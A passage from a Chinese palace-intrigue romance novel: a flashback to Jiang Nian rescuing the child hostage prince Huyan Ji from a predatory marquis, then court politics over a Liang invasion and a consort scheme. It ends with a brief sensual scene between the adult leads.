春途中,她救下他,事后,他没有感激她,她也没有追要他的感激,不过就是随手救下的一小儿,她并没放在心上。 以呼延吉当时的身份,同江念是很难产生交集的,可就是这一日,两人才算真正相交。 江念喜好在茶楼听曲儿,通常叫家中下人先订一席位,再带秋水和几个小厮去茶楼,有时候一听就是一下午。 “娘子,咱们没订到最大的那间。”秋水坐在车里嘟囔着。 江念本是闭着眼的,一听说,妙目一睁,说道:“不是让奴儿提前三日就订下了,怎的又没订上?” 秋水撇了撇嘴,说道:“娘子你还不知道他们那些猴儿,婢子千说万说,只差提他们的耳朵了,叫他们订下后,把银钱付了,莫要空口白话,奴儿们只作耳旁风,结果叫别人抢了先。” “是什么人?”江念蹙眉问道。 “说是平昌侯定下了。” 这个平昌侯,江念是知道的,四十来岁,位封县侯,是当今皇后娘家的一门亲,皇后求得皇帝给了一个平昌侯的虚衔,无实际封地,仅享食邑。 那平昌侯三十岁得了这么个头衔,又混吃等死十来年,如今已年岁四十余。 江念的好心情全被败坏,秋水递来一个剥了皮的果子,江念看了没胃口,若不是今日有名角来,她连那茶楼去都不想去。 “嘱咐下去,那个大席位,以后再不要订了。”江念说道。 秋水不明所以,问道:“娘子,这是为何呀?” “让那么个泥猪癞狗一坐,那席位还能干净?” 江念见过那人,个头不算大,瘦精瘦精的,头顶梳一个油光光的髻,留两撇八字胡,穿一身华泽的缎子衣,整个人连同那名贵的衣袍都油得发亮。 茶楼共分两层,一楼是散座,二楼是封闭式的包间。 唱台在一楼,不过唱台很高,一楼看得话需得仰着脖,二楼的视角正好。 江念回回定下的二楼大席位被占,不得不在旁边的一个小包间将就,那小包间其实也够大,也够精美,但对于一向挑剔的江念来说,自然看不上。 不过当名角登场开喉唱曲儿时,她也就把这份不悦抛开了,一心只在那唱台上。 江念看戏听曲儿时,会很专注,尤其这种名角儿登场,她连喜欢的小食儿也不吃,顶多喝清茶润润嗓。 秋水自小随在她身边,两人既是主仆也是玩伴,养成了同她一样的喜好,看得也投入,这一投入就把茶水洒在了江念的身上。 那茶水又烫,这个季节,身上的衣物单薄,吓得秋水手忙脚乱。 “别拭了,拭不干净,快带我去后面更衣……” 第136章 我怕疼,轻一点…… 秋水因看戏太过投入,无意中将滚烫的茶水泼洒到她家主子身上,吓得她直掉眼泪。 “快带我去后面更衣。”江念拿帕子往胸口掩着。 秋水赶紧护在江念身边出了包间,指着门外的两个小厮说道:“你二人留守这里。”说着又看向第三人,“你去马车里将娘子的包袱拿到后面来,快去!” 那人应下,一溜烟跑下楼。 秋水随在江念身侧,到了茶楼后院,这里专供贵客更衣、歇息之所,不算大的一方小园,嫩草如茵席,有亭轩、有湖池,湖池上架有小拱桥,还算是个不错的清幽地。 江念进了厢房,秋月上前用帕子将衣领处隔了起来,两人左等右等,也没等到拿包袱的小厮,就这么坐着也不是法。 “你去前面看看,是不是出了事,怎的这半天不来。”江念说道。 秋水应下去了。 江念坐在厢房里,不过一会儿,院子里响起脚步声,以为是秋水回了,再一听又不对,脚步声纷杂,显得慌乱,隐有男子的窃窃之声。 “快些,快些,这小子劲儿挺大的……”一个声音说道。 “叫我说,不如直接敲晕得了,省下许多事。”又一人说道。 “老爷千万嘱咐,让醒着,晕了还有什么趣味。” 说话声往江念这边行来,她立在门后,透过门隙,见两个护院扮相的男子,抬着一个麻布袋子,那袋子里的东西在动,还发出阻咽的“唔唔——”声。 只听其中一人说道:“这夷越小质子也是可怜,被老东西看中,这么捣弄一遭,怕是得残,啧啧——” “嘘——你不要命,敢这样说,咱们做奴才的,主人家怎么吩咐,咱们就怎么做,你管恁多。”说话之人,顿了一会儿,又道,“他一个蛮国小儿,异国他乡,还不是任人搓圆搓方,要怪只怪这孩子生得太漂亮……” 江念倚在门后,算是听明白了,事情头尾也能料个大概,无非就是上流人做着下流事。 她并不想多管闲事,家中下人还未来,她也不想待在这里见乌糟事脏眼睛,正待起身离开,院子里又响起脚步声,走进了隔壁那间房。 接着那边的声音清清楚楚传来。 “老爷!”奴仆恭声道。 一个低哑声响起,像是喉咙里堵着一口浓痰:“把人放出来。” 这个声音,江念听着耳熟,似是在哪里听过,再一联想秋水说平昌侯今日也在,当下确定,这位老爷就是平昌侯,皇后娘家的一门亲。 “这小子气力极大,放出来的话只怕……” 那平昌侯一声叱喝:“你二人还降伏不住他一个八岁小儿?” “是。” 接着就听见隔壁“哐当”“咔嚓”“咚”,桌椅倒地声、门板拍撞声、瓷器脆地声,一阵乱响,很是乱了一阵…… 江念不知怎的,一颗心揪起来,这时那边也安静了,安静得很突然,让人心慌。 “压住他!压到桌上!”那平昌侯急声道。 两人仆从明显有些气喘,显得很吃力:“老爷,这小子牛犊子似的,不好制伏,一会儿您也不好办事呐……” 停顿不过一瞬,就听那平昌侯说道:“去拿个铁棍来!拿铁棍!” 江念不想多管闲事,可现在满脑子就是那孩子的脸,心里越慌,那张漂亮的脸就越挥之不去。 现下她也不过一个人,不知秋水和小厮为何去了这么半晌不回,定是出了什么事情,就算她有心施救,又能怎么救。 正在思索间,一道闷声惨叫透壁而来,那声音激得江念身上细毛立起,是那小儿的声音! 也就是这一声,让她完全失了智,什么也顾不得,冲到隔壁,那门虚掩着,想是刚才争乱时被抽开的,结果人没逃出去,又被拖回。 “砰——”的一声,江念踢开门,震得梁灰簌簌落下。 待她看着屋里的情形,只觉得两条胳膊冰凉,眼球震颤不止。 那小儿整个趴伏在桌面,嘴里被塞着破布,头发湿黏在脸颊上,一根拇指般粗细的铁棍,将他的肩窝对穿,生生把他钉在桌面上。 他瞪视着她,像是砧板上待宰的鱼。 屋中之人听到声响,俱是一惊,齐齐看向来人,见不过一个十来岁小女娘,放下心来。 江念脑速飞转,强装镇定,先声夺人:“平昌侯爷,你好大的胆子,连夷越小质子也敢动?!” 平昌侯本不将这小女娘放在眼里,听她一口叫出自己的名号,一颗心又提了起来。 “敢问这位小娘子是……” 江念见这男人蓄留两撇八字胡,头脸油光,心里泛恶心,哪愿意报自己的名号,可不报出江家,便震慑不住他。 “小女子姓江,京都江家人。” 平昌侯眯起眼,把对面女子打量一眼,见其生来娉婷,衣着华奢,不疑有他。 这江家小女郎他是听过的,在京都贵女中头一份,家中十分宠爱,怎的这样不巧,被她撞见。 他第一眼见夷越小质子,惊叹连连,小儿生得太过漂亮,也知此小儿的身份,不是他能动的。 可只要是他相中的,不管是人还是物,非要弄到手,遂找人探知,这小质子身边无一可倚仗之人,夷越遣送的人还未到,如今身边的仆从都是梁人,根本不尽心,那心思便又活泛起来。 他本想着办完事,神不知鬼不觉再把夷越小儿给处理掉,等夷越来人,也晚了,查无可查,死无对证。 如今事还未办,却被撞破,看来得重新计议了,男人往江念身后看了看,独她一人…… 江念见他眼光渐沉,心道不好,忙调转语气:“侯爷不用看,我身后没人,但我江家护卫已匿在暗处。”说着,端举双手,缓缓往屋内走来,走到平昌侯面前,扬起下巴笑了笑,一转身,一抬手,指向屋外:“那里,还有那里,皆匿有我江家暗卫,不若侯爷派人去查探查探?” 平昌侯并不怀疑,世家贵女怎会没人随护,于是忙堆起笑:“江家小娘子说得哪里话,只是……今日这事……” 江念扬唇一笑:“夷越小质子才来京都不久,料想平昌侯不认得,这才误伤了他,这也没什么,小事而已。” 平昌侯听了,眼睛一亮,连连说道:“不错,不错,小娘子说得对,本侯哪里认得什么夷越小质子,哎呀,这也是误打误撞。” 江念眼梢一斜,又道:“侯爷尽可放心,这种事情,转眼就忘了,谁会记得,别说是侯爷你了,只怕连小质子也是不记得的,我更是不记得。” 平昌侯揣摩此话的意思,暗道,这事毕竟不光彩,只有捂下,没道理还大肆宣扬,只是可惜眼看到嘴的肉没了,心中顾虑一消,也就不再多待。 “本侯原是来听戏,不想遇着一小贼,扫了兴,走了。” 平昌侯甩着衣袖,摇头播脑地带着两名仆从离开。 江念立了一会儿,见平昌侯和他的两个奴仆从园中离去,赶紧关上房门,反插上门闩,走到桌边,见小儿两眼紧闭,眉头蹙着,铁棍死死钉着他,一端穿过他的肩头,一头钉在桌面。 江念弯下身,拉下他嘴里的破布,问道:“死了没?” 小儿睁开眼,那一双湿漉漉的双眼就这么直直撞进江念眼里,是清溪下随波缓动的淡色金沙,粲然中漾着水光。 那双眼辉光灿灿的,好看是好看,却很凉。 他看了她一瞬,又痛苦地闭上眼,没一会儿,再次睁开,那凉意没了,同先前完全两样。 “阿姐,我好痛,帮我取出来……” 江念先是一怔,回过神来,他在叫她,声音如此好听,甜净又乖巧,就这么的,她那颗心在小儿一声声的“阿姐”中迷失了。 她看着那根长长的铁棍,根本不敢触碰,他的肩头已经血糊一片。 “呼延小王子,你再忍忍,我叫人来……” 江念话说出口,才发现自己的声音颤抖得厉害。 “不要叫人来,帮我拔出来就好,我忍得。” 话音刚落,就听到隔壁拍门的声音:“娘子,开门,婢子拿了干净衣裳来,原是糊涂人将咱们的马车赶错了,叫奴儿追了好一会儿,才撵回来……” 江念捉裙,三两步到门前,一面说着就要开门:“秋水,我在这……” “莫开门!” 小儿的声音让她抽门闩的动作止住。 刚才那样凶险,她都没从他眼中看到波动,这会却从他的眼中看到了乞求。 “阿姐,你来,我不想让其他人看见,你帮帮我。” 江念愣着,她面前的房门再次被拍响。 “娘子,你在里面么?娘子?” 江念看了眼趴伏在桌面的小儿,一咬牙,对外面的秋水说道:“你在外面候着。” 接着就听到秋水应是,然后同小厮低语交代着什么。 江念一步一步走到小儿身边,低下身,扒了扒他额边汗湿的碎发,轻声道:“呼延小王子,会很疼,你不怕疼?” “阿姐轻一点,我怕疼,轻一点……” 第137章 留侍宫闱 那小儿说是怕疼,却连一滴眼泪也未流。 江念心尖尖都在颤,这么乖巧,她绝不能让人再欺负他,于是吁出一口气,从袖中掏出一方巾帕,揉成团,慢慢放到小儿嘴边,小儿只怔了一瞬,便乖乖地张开嘴,江念将巾帕塞入他的嘴里。 终于,铁叉从他的肩头拔了出来,他也因此昏迷过去,这一昏迷就是一天一夜,年幼的呼延吉被江念安置在江府,享受着阖府上下的精心照顾。 尤其是江念,更是尽到一个大阿姐的职责,连江家小郎君,江轲都泛酸。 “阿姐,我以前病着,怎的不见你待我这般细心体贴?” 江念手里正端着一盘灶房新炸的鲜肉丸,还滋着热气,又酥又香,似是没听到她弟弟的话,用手拈了一个,递到江轲嘴边。 “你尝尝看,厨娘说这鲜炸肉丸里不仅有鲜肉,还放了脆藕沫,好吃着哩!” 江轲顿时笑开眼,张嘴,江念便把那肉丸放到他嘴里,问道:“好不好吃?” 江轲眯眼点点头。 “烫嘴么?”江念又问。 江轲摇了摇头:“不烫嘴,阿姐,我还能再吃一个。” 一语毕,就听江念低声道:“不烫嘴就好,那吉儿吃了也不烫嘴……” 说着,推开门,进到呼延吉养伤的屋里,独留江轲一人在屋檐下瞪眼发怔。 他再一转头,就见那夷越小王子靠坐在床头,而他的阿姐侧身坐在床沿,用筷子拈热乎的鲜肉丸喂给他吃。 不是肩膀受伤么,手又没伤,腿又没伤,怎么了呢这是?! 就这么,呼延吉在江府养了近两个月的伤,这这两个月中,夷越那边来人了,先是到江府拜见,然后留了两人在江府照看他们的小王子,其他人回小王子在京都的府邸。 待两个月后,呼延吉的伤调养得差不多了,就离了江府。 半年后,平昌侯死在他郊外的庄子里,待下人发现时,人已死去多时,因他一向没甚大病症,身上又查找不出任何伤口和中毒迹象,最后只能断为猝死…… 江念将往事慢慢道出,对面的高太后始终不发一言,可她知道,这位尊贵的老妇人一定不像她表面看起来那样平静。 她本不想说,选择道出此番往事,也怀有一份私心,高太后先前对呼延吉的态度她看在眼里,母子间不该这样。 她只知大儿子的艰难,却不知小儿子的酸惨。 “你下去罢。”高氏说道。 江念起身,往后退了两步,躬身行礼,转身退下。 在她走出凉亭后,又走了一段路,回首望去,透过花木掩映的枝叶,高氏仍坐在那里,她看不到她的面目,只见一道直挺挺的背影。 …… 议政殿…… 呼延吉坐在御案后,殿中跪了一人,三十来岁的模样,蓄着美须,清癯如书生。 “昆善将军,起身回话。”呼延吉说道。 跪于殿中之人正是才从定州回京都不久的夷越大将昆善,曾同呼延吉一同攻取定州,后被呼延吉安排留守定州,如今定州已归属夷越,呼延吉便将他调回,另指派人往定州守城。 昆善起身,丹增指着宫侍上茶水。 “坐。”呼延吉用下巴指了指。 昆善谢过,坐下。 “大王,梁军正往夷越东境进发,一旦渡过星月湖便可占我佩城,再以佩城为据点,攻占东境。” 呼延吉耳中听着,眼睛看向面前的舆图,眼也不抬地问道:“东境那边的守将是达鲁?” “是。” 呼延吉一声冷笑:“梁军为何突攻我东境,东境之外除了草原便是荒漠,杳无人烟,线途长,更有粮草不接之险,对梁军来说,并不易战。” 昆善凝目沉思,这一点他也想不通。 “王,眼下当务之急是确保达鲁率军过星月湖,阻梁军近前,只是这达鲁……”夷越关隘守将,守境是本职所在,但达鲁是朵尔罕的部下,东境之军只听朵尔罕的调派。 呼延吉让人通传朵尔罕。 朵府…… “我父亲呢?” 朵阿赤听得王庭来人的消息,便来他父亲院中问询。 “回大爷的话,老爷在房中更衣。”守门的小厮说道。 “进来。”一道苍沉的声音从房里传出。 朵阿赤推门进入,丫鬟们正在屏风后为他父亲更衣,朵尔罕换好朝服,从屏后走出。 “父亲,是不是东境那边……”朵阿赤迎上前,问道。 朵尔罕压了压手,示意他坐下。 “梁军动作倒是快。” 朵阿赤说道:“儿子有些担心,万一真让梁军渡星月湖,攻陷佩城,我夷越岂不要失守一城?” 梁师东犯,是他父亲阴遣细作通风于梁人,东境军不受呼延吉节制,调遣迟滞,故为夷越边陲虚处。 朵尔罕笑了笑,漫口道:“不过一个佩城,若呼延吉应下立妲儿为大妃,那佩城自当无恙,若他不应……料他不会不应,待妲儿立为大妃,再诞下王嗣,我朵氏之基业,便是铜浇铁铸再难动摇,朵氏与呼延氏共天下。” 朵家同高家不同,高家只在弥城坐拥私兵,而朵家不是,边境军兵虽为王军,可这王军中有几员将领是他朵尔罕的部下,明面上他们忠诚效力于越王,实则听命于他。 只要他朵家女坐在大妃之位,那么朵家用不了多久就会居于其他四姓之上,甚至同呼延氏并立。 朵阿赤思忖片刻道:“佩城虽为边陲小城,梁军由此侵入,万一抵挡不住,只怕后患不可估。” “放心,梁军就算夺了佩城,他军后方不接,我军想要夺回并不难。” 朵阿赤未再说什么,他父亲虽这样说,但他认为事情不会这样简单,梁军哪就任他们摆布,让他们往东,他们就往东,让他们往西,他们就往西。 要么就是他父亲明知后患,比起让朵家女儿坐上那个位置,这后患在他看来不值一提…… 阿多图守在王庭大门处,见朵家马车驶来,命亲卫放行,偏那马车在大门处停下。 车帘揭起,朵尔罕探身而出。 阿多图忙上前,行礼道:“朵老大人乘车径入王庭即可,不必下车。” 朵尔罕摆了摆手,一脸和善,笑说道:“岂敢僭越,王庭乃大王威仪所驻,臣本下僚,安敢以车马犯禁?自当下车趋步而行,方显人臣本分。” “左大臣不必如此,下官得了大王之命,恭候在此,大王特意交代,左大臣可乘车直驱丹墀,老大人还是莫让大王久等。”阿多图说道。 朵尔罕想了想,颔首道:“既是如此,老夫遵从王命。” 说罢进到车内,马车方驶进王庭大门。 阿多图转过身,双手叉腰,看向马车行去的方向,“呸”的一声往地上啐了一口:“老东西,迟早收拾你。” 马车一直行到议政殿前停下,在夷越,从未有过朝臣的车马可进入王庭,更不可能径直通到议政殿。 车帘揭开,朵尔罕下了马车。 丹增已在车外候着:“左大臣随老奴来,大王已候多时。” 朵尔罕随丹增行到议政殿前,理了理冠带,步入,一进议政殿,向上伏乞跪拜,双膝刚沾到地面,一双手将他扶起。 “左大臣不必多礼,来人,赐座。” 朵尔罕向上谢恩,这才入座。 不一时,又有宫人上茶。 “不知大王召老臣前来所为何事?”朵尔罕恭声问道。 呼延吉走到窗边,背朝外,面朝里,看向朵尔罕,这才说起梁军往东境进发的消息。 朵尔罕听罢,面上先是一肃,然后说道:“梁军狼子野心,入我夷越东境,定是想渡星月湖,攻打佩城。” 此句说罢,便无后话。 呼延吉勾了勾嘴角,又道;“本王若没记错,东境守将达鲁是你的部下。” 朵尔罕一听,慌的从座位上站起,再“扑通——”一声跪下,连声道:“六合之内,君王之土,人迹所至,无不臣者,我夷越将士,皆属大王麾下,大王为君,老奴为臣,不敢当此之言,惶恐。” 呼延吉眼微眯,暗道,老家伙这是不见兔子不撒鹰,跟他打太极,想要好处,却又不自己开口。 呼延吉倏忽一笑:“本王同左大臣玩笑,何故就跪拜起来,快快起身。” 朵尔罕拭了拭额上的汗,略显吃力地起身,重新入座。 “依左大臣之见,梁军往我东境而来,我军该如何应对?”呼延吉直直看向朵尔罕,等他的回答。 这个时候,朵尔罕却不合时宜地从桌案上拿起茶盏,不紧不慢地呷了一口,又放下,叹息道:“今敌寇压境,为护我夷越疆土,老臣愿使犬子往赴东境,随将士勠力破敌,以退梁师,只是……” 呼延吉声音平平,问道:“只是什么?” “只是……老臣对这个儿子最为器重,倾注心血最多,遣派他往东境,这一去,生死难测……”朵尔罕说着,掩袖拭泪。 呼延吉仍背靠着窗,外面就是郁郁葱葱的园林,光洒在他宽整的背上,脸却隐在背光处,听他说道:“左大臣衷心可鉴,本王心下感念,不知该如何封赏左大臣之衷心?” “臣子者,当为君排解忧难,皆是老臣本分,怎敢讨要封赐,只是老臣年迈,独独放心不下小女,妲儿,若使小女留侍宫闱,得大王垂青照拂,老臣心愿便了,死也可闭目了。” 朵尔罕说罢,半晌不见对面回应,只有凉凉的风从敞开的窗户吹来,于是抬眼看去,心下一震,那人背着光,看不清面目,更探不出眼底的情绪。 朵尔罕可谓是久经世故,老谋深算,然而,在面对他们这位年轻君王之时心里却打起鼓来…… 第138章 她就想独占他 朵尔罕从议政殿退出,此时天色已晚,丹增送他到马车边,相互告了几句,朵尔罕上了马车,缓缓驶离。 马车行上王庭甬道。 车内,光线昏昏,车帘荡起,一点点光线射入,借着朦胧的光线,老者面上的和善与谦恭荡然无存,一张脸如同泥塑木雕般,捉摸不定。 朵家门前,朵阿赤早已在门首迎候,侧目见他父亲平漠着脸,一语不发,于是捺下心中疑问,随在他父亲身后去了书房。 奴仆沏过茶水,退了出去,闭上房门。 “大王可同意了?”朵阿赤问道。 朵尔罕脑中闪过刚才议政殿中的一幕,他婉言让妲儿留侍于王庭,说罢后,半晌得不到回应,便抬眼看过去,他自认为沉稳,可当他看向那人时,身上却起了一丝寒津。 “此等大事,怎能当即应下,不过他没有多的选择,想要东境无恙,只能立我朵家女为大妃,以此拉拢朵家。”朵尔罕又道,“用不了多久,王庭的旨意就会下来。” 朵阿赤笑道:“还是父亲有谋算,让呼延吉不应也得应,只要小妹坐在大妃之位,再诞下王嗣,同王权盘结,利益共存,再难切割。” 朵尔罕想起一事,说道:“明日你便动身去往东境。” “王庭立妃的旨意还未通达,万一……儿子的意思是万一,呼延吉不立妲儿为妃,儿子岂不是白跑一趟。” 朵尔罕看了自己儿子一眼,摇头叹了一口气,说道:“此事不论他应不应,你都需往赴东境。” “这是为何?” “若大王应下立妲儿为妃,那么你去东境击退梁军,便是立一大功,若王不应……你去往东境,在外看来依然是抗敌,就算败了,咱们朵家已然尽力,向上向下都有交代,谁也说不出什么来。” “还是父亲思虑的周全。” “去罢。”朵尔罕摆了摆手。 朵阿赤应声退下。 朵尔罕起身,走到窗边,仰望向东南方,那是王庭的方向,背后是巍峨的山体,模糊的夜色里,隐有星火闪动,他能让梵儿成为呼延成的大妃,就能再次让妲儿成为呼延吉的大妃。 彼边…… 朵尔罕前脚才走,议政殿的帘幕后走出一人,正是昆善,君王召朵尔罕来时,并未让他退下,而是隐于幕后,刚才的对话,皆入他耳中。 “大王,朵尔罕话里的意思,无非是想让您立朵氏女为大妃。” 呼延吉沉了半晌没说话,过了会儿,才开口:“依昆将军之意,该当如何?” 昆善见他凝目不语,知他心中不愿,遂说道:“朵家野心昭然,但危况在即,敌寇已往我东境行进,依微臣之意,眼下先立朵氏女为妃,待此事平定后,大王再同朵家算后账,朵氏之女子,留与不留尽是王之股掌,届时有千万种法子治她们的罪,再以朵氏女为引,牵出朵氏一族,一举两得,挖根刨除,永绝后患。” 说罢,昆善见大王仍沉眸不语,知道他迟疑不决,再言:“王当速作决策。” “昆将军说的是,本王心中有数,今日先议至此,将军先回。”呼延吉说道。 昆善还待再说,见君王眉目沉沉,不好再多说,只能应诺退下。 …… 夜幕四合,西殿内灯火通明,江念坐在桌后,看了一会儿书,不知怎的,今日心神有些惴惴不宁。 平日里不论多忙,呼延吉总会抽空回一趟,就是不回内廷,晚间用饭前也必会回西殿。 现下夜已深,不知他手中事务忙完了没有。 江念唤来秋月:“你去膳房,让他们把热的吃食备在食盒里,拿来,再随我去一趟前殿。” 秋月应下,没过一会儿,提了一个三层屉的圆形大食盒。 江念本是沐过身的,身上穿的软绢寝衣,因要去前殿,宫婢们替她换了轻便的常服。 殿外乘辇已备下,江念领着秋月并几个宫侍往前殿行去,她从未夜间去过前殿,平日天色一暗,便回了寝殿歇息。 昼夜温差大,起了迷蒙的雾丝,江念拢了拢身上的外衫,下了夜露,不免觉着微寒。 远远行来两队齐整整巡视的银甲亲卫,铁甲清脆的擦碰声还有靴履飒踏之声在静谧且空阔的夜里格外醒神。 三个宫侍提着羊角灯在前方照路,昏黄的光只能照出不太远的一片,载着露水的夜风一来,灯影晃荡,像是脚下的地面也跟着不平稳。 转过一个拐角,便到了前殿,又行了一会儿,到了议政殿。 步辇缓缓落下,秋月上前搀扶江念下辇。 女人理了理坐褶的衣裙,抬头,目光穿过白玉石的雕栏,看向高阶之上的议政殿,窗纱上透着淡淡的光晕。 周围一片寂然,除了远处隐隐传来的巡卫齐整的脚步声和甲衣脆响的摩擦声,再无其他。 丹增守在议政殿外,见阶下有人影行来,觑眼望了望,先是一怔,赶紧趋阶下迎。 “夜已深,梁妃怎么来了?” 江念笑道:“我见大王未归,便过来看看,提了些吃食来。”说着从秋月手里接过食盒,一转眼见丹增面有异色,问道,“宫监是不是有什么话?或是大王不在议政殿中?” “梁妃误会,大王在议政殿中,王今日心情有些忧烦,闭在殿中已有一日,到现在还未用饭食,奴才们送进的饭食动也未动,热着进去,冷着出来。” 江念点头道:“那来得正是时候,王的身子要紧,政务再忙也不能不吃东西。” “是,奴才们也不敢劝,还得梁妃您帮着说一说。” 江念微笑着点了点头。 丹增进去通报,不一会儿从殿内出来,请江念入内。 江念提着食盒,一进殿里,就见呼延吉伏在案后,眉头锁着,连她进来,也未抬眼。 她行到他的身边,将食盒放在桌案上,然后安静地坐到他的身侧。 呼延吉自然知道江念进了殿,不过他思考事情的时候不太愿被打搅,便没理会她。 男人捏了捏眉心,终于从案间抬起头,看向江念,温声道:“这么晚了,你该早些歇下,来这里做什么?” 江念笑着站起身,将食盒打开,盖子刚刚揭开,散出喷香可口的食香,一盘盘菜馔摆放到侧案上。 “听说大王一日未进食,这怎么行,不吃不喝,脑子也转不动,任大王再英明神武,也变呆笨了。” 江念先盛了小半碗鲜骨汤,递到呼延吉面前,呼延吉接过,让她坐下,然后用勺子舀着喝了几口,因心中藏事,不太能喝得下,不过她好心送了一场,总要应付一下。 “又要打仗了么?”江念看着桌上的舆图。 呼延吉点头,只说了四个字:“梁军东犯。” 江念倾身看向舆图,呼延吉见她似有兴趣,便把身子往旁边侧了侧,让她看得更清楚。 江念见那舆图之上,画了几个圈,又有几道线,指向其中一道线,问道:“妾身观这里好大一片空白,不是城镇罢?” 呼延吉放下手里的碗,拉她坐到自己身侧,指着她刚才划过的一片区,说道:“这一片是草原。” 江念点头,继续道:“所以东境就是这一侧了?梁军往这边来?” 呼延吉“嗯”了一声。 江念不懂军事,以她的理解说道:“既然如此,大王派兵守住这里,不让梁军进犯,不就可以了?” 说着回头在呼延吉的脸上看了看,呼延吉回以一笑,江念看着他的眼,又道:“一定很难,对么?对妾身说一说,就算帮不上忙,也好过你把什么事情都压在心里。” 呼延吉看了一眼桌子上的舆图,便将东境人马归属朵氏一族的情况道出,东境军难以调派,若从其他地方调遣兵力,路途太远,人困马乏之下,诸多不可预测,犹似拆东墙补西墙。 不过呼延吉并未向江念道出朵尔罕出兵的要求,需他立朵妲儿为妃,只略略说了几句二人的对话内容。 纵使呼延吉不说,江念前后一想,也能料想到,朵家定是拿大妃之位作挟。 呼延吉收拾朵家是迟早的事,但他顾及自己,致使他在这道小坎前踟蹰不前。 一时间,殿中安静下来。 江念虽说做好了呼延吉再娶的准备,可真临到此事,她心里一千个一万个不愿意,心底不停地叫嚣,她就想独占他,不愿同别的女人共享。 她真的做不到…… 呼延吉侧过眼,见她木怔怔的,有些后悔把这些政务告诉她,这些事不该她操心。 “有些晚了,我同你回去歇息。” 说罢,见江念仍坐着不动,微垂着头,不知在想什么。 “阿姐?”呼延吉叫了一声,她仍垂着颈儿发愣,正待再唤,就见她猛然抬起头,看向他,双眼生出不一样的光亮。 “妾身倒有一计,不知可行不可行。” 呼延吉并未当真,不过仍是笑道:“哦?阿姐有什么法子,说来听听。” 江念并未马上言明,而是问了一句:“刚才听大王说,朵尔罕之子会往赴东境?” “不错。” 江念轻笑出声,一拊掌:“那就好,他可是主角,非得有他在场才行。” 呼延吉抵靠着案沿,环臂抱胸,见她一脸兴然,也来了兴致,连他和昆善都苦恼不已的况景,不知她有什么妙计应对…… 第139章 一直陪在我身边 呼延吉等着江念说话,江念却并不着急,而是看向侧案上的饭菜,说道:“大王须得先把肚子填饱,妾身才说。”说着又特地加了一句,“而且……这个计策包管有用,药到病除,可解大王心中郁结。” 呼延吉忍不住笑起来,见她这样,心头的烦闷突然就散了,于是走到侧案边,坐下,江念从旁替他布菜,待他用罢饭后,又替他沏了一碗花茶。 呼延吉接过,喝了,看向她:“现在可以说了?” 江念嘴角含笑,缓缓道来:“朵尔罕遣派其子赴东境,无外乎两种可能,要么,对战梁军,立战功,要么,在人前做戏,好遮掩朵家之过责,向外有个说法而已,好似朵家已尽心尽力了,战不赢,届时大王也怪不得他们。” 江念停了一会儿,看向呼延吉,问道:“妾身分析得可对?” 不得不说,江念此番话语,倒真让呼延吉吃了一惊:“确实如此,你说的不错。” 江念点头,斜光中,看了一眼舆图,指了上去:“大王适才说东境大将是朵尔罕的部下,达鲁,对么?” 呼延吉“嗯”了一声,目光随之落到舆图之上,好似能透过纸页看到那一片空阔的原野,那也正是他的愁烦所在。 江念继续道:“大王心烦之处就是守将达鲁,因其是朵尔罕的部下,忧他不听王令,难调度。”随之又道,“有一句话说得好,破局关键在于症结,症结所在,破局之钥。” 呼延吉喃喃念着,破局关键在于症结……脑中突然一个闪念,心跳加快。 “阿姐,你继续说。”呼延吉催促道。 “大王试想想,朵尔罕让其子赴东境,这中间,谁的意见最大?边陲军营,上到统帅下到兵卒,谁不是一身浴血走来的,突然来一个高门之子,哦——打赢了,战功是你的,打输了呢?岂不是夷越的罪人,臭名声谁担着?”江念扬唇一笑,说道,“所以大王你说说看,谁心里最不痛快?” 呼延吉朗笑出声:“自然是朵尔罕的那名部下,达鲁。” “是了,对于这类人,只需稍稍使个离间计,便可达成目的,能当营中统帅之人,不会蠢笨,自然知道如何做对他来说才是最好的。” “达鲁此人胜负心极强,对朵尔罕之子面上不显,心底定是瞧不上,不过,正如你刚才所说,他并非什么蠢笨之人,就怕离间了他和朵阿赤,也难以让他听从调派。”此计虽好,但呼延吉不得不把事情方方面面都考虑到。 江念点头,继续道:“在朝为官,争得无非就是‘功名’和‘利禄’,以此为诱,他又岂会不听话?退一万步说,若他仍不听从调派,大王便可‘换将’。” “换将?” “不错,虽说战前换将是大忌,但这是没有办法的办法,自然不走到这一步最好,真若走到这一步,只需寻他一个错处便可。” 呼延吉点头,心中有了底,再看向江念时的眼神便不一样了,她怎么能给他这样大的惊喜呢。 “阿姐,你还有没有什么同说我的?” 他想听她再多说一点,她一定还有更多一针见血的见地,呼延吉隐隐觉着,他一直苦愁不解的大难,譬如如何瓦解上姓势力,如何集中王权,兴许能从她那里得到答案。 江念就像一个头脑极聪明的小孩儿,别人刻苦学习时,她就是玩,真当备考之时,她只消认真那么一瞬,就能追上他人多年的刻苦用功,还能交出一份不错的答卷。 江念看了眼外面的天色,黑黢黢的,撇了撇嘴,说道:“这都多晚了,先回殿寝罢,你把眼下这事解决了,再慢慢谈以后,事情一件一件来,一口吃不成大胖子,再说你夷越的政弊又不止一件两件,依我说,你们国家的问题大着哩……” 说到这里江念噗嗤一笑:“别到时候,明明我大你好几岁,结果你倒比我先老了。” 眼下问题有了解决办法,呼延吉心情大好,开玩笑道:“那成,以后阿姐就做我的幕后军师如何?一直陪在我身边,永永远远。” 江念吃吃笑起来,伸出一指,指向自己:“我?军师?狗头军师还差不多。” 一语毕,两人皆是笑出声。 守于门外的丹增听见殿内的笑声,惊道,大王已愁烦一整日,那模样他是看在眼里的,梁妃才进去多久,就把大王逗笑了,当真不是一般人的能耐。 就这么的,江念去了一趟议政殿,带回了呼延吉,回了西殿,她先上了床榻,呼延吉则去沐室净洗。 江念半倚在床头等呼延吉,等得有些无聊,起身走到书柜边,随手抽了一本册子,拿回床榻上翻看,看着看着困意袭来,眼皮变沉,竟睡了过去。 迷迷糊糊中,感到胸口处湿湿痒痒的,惺忪地睁开眼,就见呼延吉一身潮气,敞着衣襟,埋首在她膨隆的丘体处,慢慢研濡往下…… 江念脑子虽然困倦,身体却在他一点点的挑拨下,热了起来,他湿漉漉的发尾落在她平坦的小腹上,那发尾似最为上乘的狼毫在她的肌上落笔,深深浅浅的画出一幅幽幽秘境。 在他的侍弄下,女人的皮肤一点点红粉。 呼延吉像是做成了一件大事,终于让江念展露出不一样的妍媚之态,他的耐心很足,只想品味更多,让她感受的再久一点。 江念双手捂眼,直到最后的最后,呼延吉侧身躺回她的身边,她也不愿意松开手。 “不过就是亲了一下,你就羞成这样?”呼延吉轻笑道,看着她那红透的耳,耳垂处像要滴血一般。 “那怎么能一样呢。”江念翻过身,背对着他,有些羞于看他的眼。 